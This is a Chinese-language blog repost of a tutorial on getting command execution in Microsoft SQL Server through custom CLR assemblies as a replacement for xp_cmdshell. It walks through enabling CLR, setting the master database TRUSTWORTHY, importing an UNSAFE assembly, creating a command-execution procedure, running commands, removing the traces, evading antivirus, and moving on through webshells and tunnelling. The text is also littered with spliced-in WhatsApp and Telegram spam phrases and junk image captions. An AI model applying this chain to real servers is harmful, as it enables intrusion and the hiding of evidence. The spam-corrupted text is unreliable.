XP_CmdShell平替CLR的基础利用

admin 2025-11-29 阅读:20 评论:0
本文作者是i春秋线下就业班结业学员「YongYe」分享的技术文章。 YongYe:现在MSSQL数据库中使用最多的命令执行手段就是xp_cmdshell,但在环境出现问题,例如xp、sp无法使用时,就会让人感到无措。相比之下,CLR技术更加...

本文作者是i春秋线下就业班结业学员「YongYe」分享的技术文章。

YongYe:现在MSSQL数据库中使用最多的命令执行手段就是xp_cmdshell,但在环境出现问题,例如xp、sp无法使用时,就会让人感到无措。相比之下,CLR技术更加先进,操作面更广,可以更好地解决此类问题。

CLR提供了一种在SQL Server中运行托管代码的方法,这种代码可以用多种编程语言编写,如C#、VB.NET等。通过CLR,我们可以执行更多的任务,解决更多的问题,为数据库管理提供更多的便利。希望通过本文分享,你将学会程序集的生成方法whatsapp web,并DIY自己的程序集。

一、XP_CmdShell与CLR简单对比二、CLR介绍

从SQL Server 2005开始,SQL Server集成了用于Microsoft Windows的.NET Framework的公共语言运行时(CLR)组件。CLR(Common Language Runtime):公共语言运行时是微软推出的.NET Framework的运行时执行环境,它提供了一系列功能来支持.NET程序的运行:

(1)内存管理:CLR自动进行内存分配、垃圾回收等内存管理工作。

(2)类型安全:CLR确保所有对象使用前都正确分配内存和初始化。

(3)错误处理:CLR可以捕捉管理代码运行时出现的系统级错误。

(4)代码访问安全性:CLR执行代码时会进行权限检查,确保代码只能访问它应该访问的资源。

(5)线程管理:CLR创建线程、进行同步和控制线程的执行。

(6)对齐编程语言:不同语言编译成中间语言IL后,由CLR执行,使它们能相互操作。

(7)代码部署:CLR负责把代码编译为本机代码,也进行反射提供运行时类型信息。

这些特点使得CLR非常的强大!利用方式也是非常的多。

三、环境条件

SQL版本:SQL Server 2008 R2_默认配置

测试系统:Win10

CLR编写:Visual Studio 2022

利用条件:sysadmin

四、创建自已的程序集

可以使用网上公开现成的程序集,也可以自已做一个程序集。

1、测试了一下还是Visual Studio方便点,只需要安装最下面数据库操作工具即可。安装完新建一个SQL Server数据库项目。

MSSQL CLR程序集生成_cmd5352_xp_cmdshell 替代方案

2、配置一下目标的SQL Sserver版本。

cmd5352_xp_cmdshell 替代方案_MSSQL CLR程序集生成

3、下拉配置一下框架版本whatsapp网页版登录,我本机测试直接看的控制面板。实战获取版本也比较方便,冰蝎、哥斯拉连上去都已经搜集好了。

Tips:版本不匹配容易出现问题,程序集无效等。

xp_cmdshell 替代方案_cmd5352_MSSQL CLR程序集生成

4、新建SQL CLR存储过程

MSSQL CLR程序集生成_xp_cmdshell 替代方案_cmd5352

MSSQL CLR程序集生成_xp_cmdshell 替代方案_cmd5352

5、这就是代码模板了,大家自由发挥。

xp_cmdshell 替代方案_cmd5352_MSSQL CLR程序集生成

6、编写完生成,程序集就做完了。程序集路径在下面:

cmd5352_xp_cmdshell 替代方案_MSSQL CLR程序集生成

进入程序集\bin\Release\,这两个文件是有用的。

xp_cmdshell 替代方案_MSSQL CLR程序集生成_cmd5352

(1)Database1.dll文件可用于存在上传点的情况,可以直接上传。记得改名字,不然就上传一个shell.asp。(不推荐该方式:文件直接落地+需要上传点)

(2)Database1_Create.sql文件找到”CREATE ASSEMBLY”这行,这就是我们生成的十六进制程序集。

cmd5352_xp_cmdshell 替代方案_MSSQL CLR程序集生成

五、利用流程

1、查看CLR是否开启,看看有没有前辈已经弄好了。(1=ON、0=OFF)

SELECT * FROM sys.configurations WHERE name ='clr enabled'

xp_cmdshell 替代方案_MSSQL CLR程序集生成_cmd5352

2、通过sp_configure开启CLR功能。

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

xp_cmdshell 替代方案_cmd5352_MSSQL CLR程序集生成

3、如果提示导入不安全程序集/权限等相关问题,尝试以下命令。允许master数据库中的所有CLR程序集不受限制地执行,忽略普通的权限检查。master默认为ON,其它数据库默认OFF。

ALTER DATABASE [master] SET TRUSTWORTHY ON;

MSSQL CLR程序集生成_cmd5352_xp_cmdshell 替代方案

执行以下命令可查询是否设置成功。

SELECT is_trustworthy_on FROM sys.databases WHERE name='master'

cmd5352_xp_cmdshell 替代方案_MSSQL CLR程序集生成

4、导入我们的程序集,这里有两种方式可以导入,就是之前生成的两个文件:通过16进制导入和通过dll文件导入。

方式1:通过16进制的CLR导入

直接从Database1_Create.sql中复制粘贴即可。

xp_cmdshell 替代方案_MSSQL CLR程序集生成_cmd5352

MSSQL CLR程序集生成_cmd5352_xp_cmdshell 替代方案

方式2:通过程序集.dll文件导入

通过其它漏洞上传dll文件,执行以下命令导入指定位置的dll。

CREATE ASSEMBLY sp_cmdExec FROM ' C:\Users\admin\source\repos\Database1\Database1\bin\Release\Database1.dll' WITH PERMISSION_SET = UNSAFE

MSSQL CLR程序集生成_cmd5352_xp_cmdshell 替代方案

Tips:

(1)方式2中因为dll直接落地,文件会直接被杀软拦截。使用Visual Studio生成程序集都会被直接拦截了。

(2) 方式2中sp_cmdExec为程序集名称,这里不改后面也不要改,不然就会报错。

5、创建存储过程

方式1导入,这样执行。红色部分根据实际程序集内容更改,不然会报错。

CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

xp_cmdshell 替代方案_cmd5352_MSSQL CLR程序集生成

方式2导入,这样执行。否则会报错找不到xxxxxxx。

CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.ExecCommand;

cmd5352_xp_cmdshell 替代方案_MSSQL CLR程序集生成

这是我的程序集telegram中文版,可以参考一下。

MSSQL CLR程序集生成_xp_cmdshell 替代方案_cmd5352

Tips:WarSQLKit为程序集的名称。

6、命令执行

EXEC sp_cmdExec 'whoami';

MSSQL CLR程序集生成_cmd5352_xp_cmdshell 替代方案

7、简单痕迹清理

查询创建的程序集:SELECT * FROM sys.assemblies

删除程序集:DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY

WarSQLKit

xp_cmdshell 替代方案_cmd5352_MSSQL CLR程序集生成

关闭CLR

EXEC sp_configure 'clr enabled', 0
RECONFIGURE WITH OVERRIDE

xp_cmdshell 替代方案_cmd5352_MSSQL CLR程序集生成

六、总结

整个流程,不上传dll文件。我的某rong很安静。利用的话网上有很多自动化工具,工具虽然被杀。但是不影响操作,正常肯定代理出来远程连接即可。使用工具自动提权(我的某rong反正是很安静),即使存在杀软拦截也有其它办法。因为CLR程序集可以编程,所以你可以做很多事情包括不限于自动化工具已经实现的功能。

工具推荐:WarSQLKit(功能强大/兼容性存在问题)、SharpSQLTools(简单易用)

版权声明

本文仅代表作者观点,不代表百度立场。
本文系作者授权百度百家发表,未经许可,不得转载。

分享:

扫一扫在手机阅读、分享本文

热门文章
  • 详细指南:WhatsApp国内使用方法全攻略-下载安装、注册登录及功能使用攻略

    详细指南:WhatsApp国内使用方法全攻略-下载安装、注册登录及功能使用攻略
    一、下载与安装WhatsApp WhatsApp是一款全球使用范围极广的即时通讯软件,不仅可以实现文本聊天,还能进行语音、视频通话WhatsApp中文版,发送文件等功能。由于众所周知的原因,国内用户想要下载和安装WhatsApp可能会遇到一些困难。不过,只要按照以下步骤操作,就能顺利完成WhatsApp的下载和安装。 首先,我们需要解决的是下载问题。由于WhatsApp在国内的应用商店无法直接下载,所以我们需要寻找其他的下载途径。Android用户可以选择到各大安卓市场搜索下...
  • 苹果IOS5.1.1机完美越狱

    苹果IOS5.1.1机完美越狱
    越狱工具下载:(需手动复制: http://bbs./read-htm-tid-4804612.html ) 详细的越狱教程: Absinthe 2.0.4的越狱方法与Absinthe 1.0的越狱方法完全一样,非常简单的“傻瓜一键式”。不过这里绿毒有说明,最好重新刷固件。支持越狱设备IOS5.1.1的固件下载地址请点击本站的IOS固件下载,看下图: 下载完固件之后,把设备连接iTunes,开始刷固件。你也可以选择不刷,但是在越狱的过程之中,新的系统在越狱时会比较的顺利,...
  • 电脑微信的聊天照片文件在哪里微信图片保存电脑哪个文件夹

    电脑微信的聊天照片文件在哪里微信图片保存电脑哪个文件夹
    1. 怎么找到微信聊天图片在哪个文件夹里 图片保存路径:/storage/emulated/tencent/MicroMsg/WeiXin/文件夹,这个是完整路径。而在文件夹中只需要找到/tencent/MicroMsg/WeiXinWhatsApp中文版,就可以了,前面两个文件夹是系统根目录。以下是保存及查找图片的方法步骤介绍。 第一步、找到桌面的微信APP,直接点击打开这个微信的APP。 2. 电脑微信图片保存在哪个文件夹 个人微信文件夹。 电脑版微信聊天的图片,都保存到...
  • Windows 11版WhatsApp将从UWP/Native切换回WebView2打包模式

    Windows 11版WhatsApp将从UWP/Native切换回WebView2打包模式
    Meta(最近更名为 Meta AI)悄然宣布,WhatsApp 将在 Windows 11 上放弃 UWP(WinUI)WhatsApp中文版,退回采用基于 Chromium 的容器。这意味着 WhatsApp 又回到了几年前的样子。由于 web.whatsapp.com 一直领先于 Windows 应用开发,它确实拥有一些新功能,但速度更慢,占用更多内存。 如果独立开发者因为无力维护所有平台的代码库而选择 Web 应用程序,那是一回事,但当像 Meta 这样价值万亿美元...
  • 小米下載WhatsApp的完整指南:安装与使用注意事项

    小米下載WhatsApp的完整指南:安装与使用注意事项
    综上所述,确保您的小米手机具备以上条件,将有助于您顺利下载和安装WhatsApp,享受便捷的通讯服务。在满足这些条件后,您就可以按照后续步骤进行WhatsApp的下载和安装。 2. 下载和安装WhatsApp的具体步骤 在小米手机上下载和安装WhatsApp的具体步骤相对简单,但需注意一些特殊情况。首先,确保你的手机系统已更新到最新版本,以保证最佳的兼容性。由于安卓手机商店内无法直接找到WhatsApp,你可以通过APKPure等第三方应用商店进行下载。打开APKPure应用...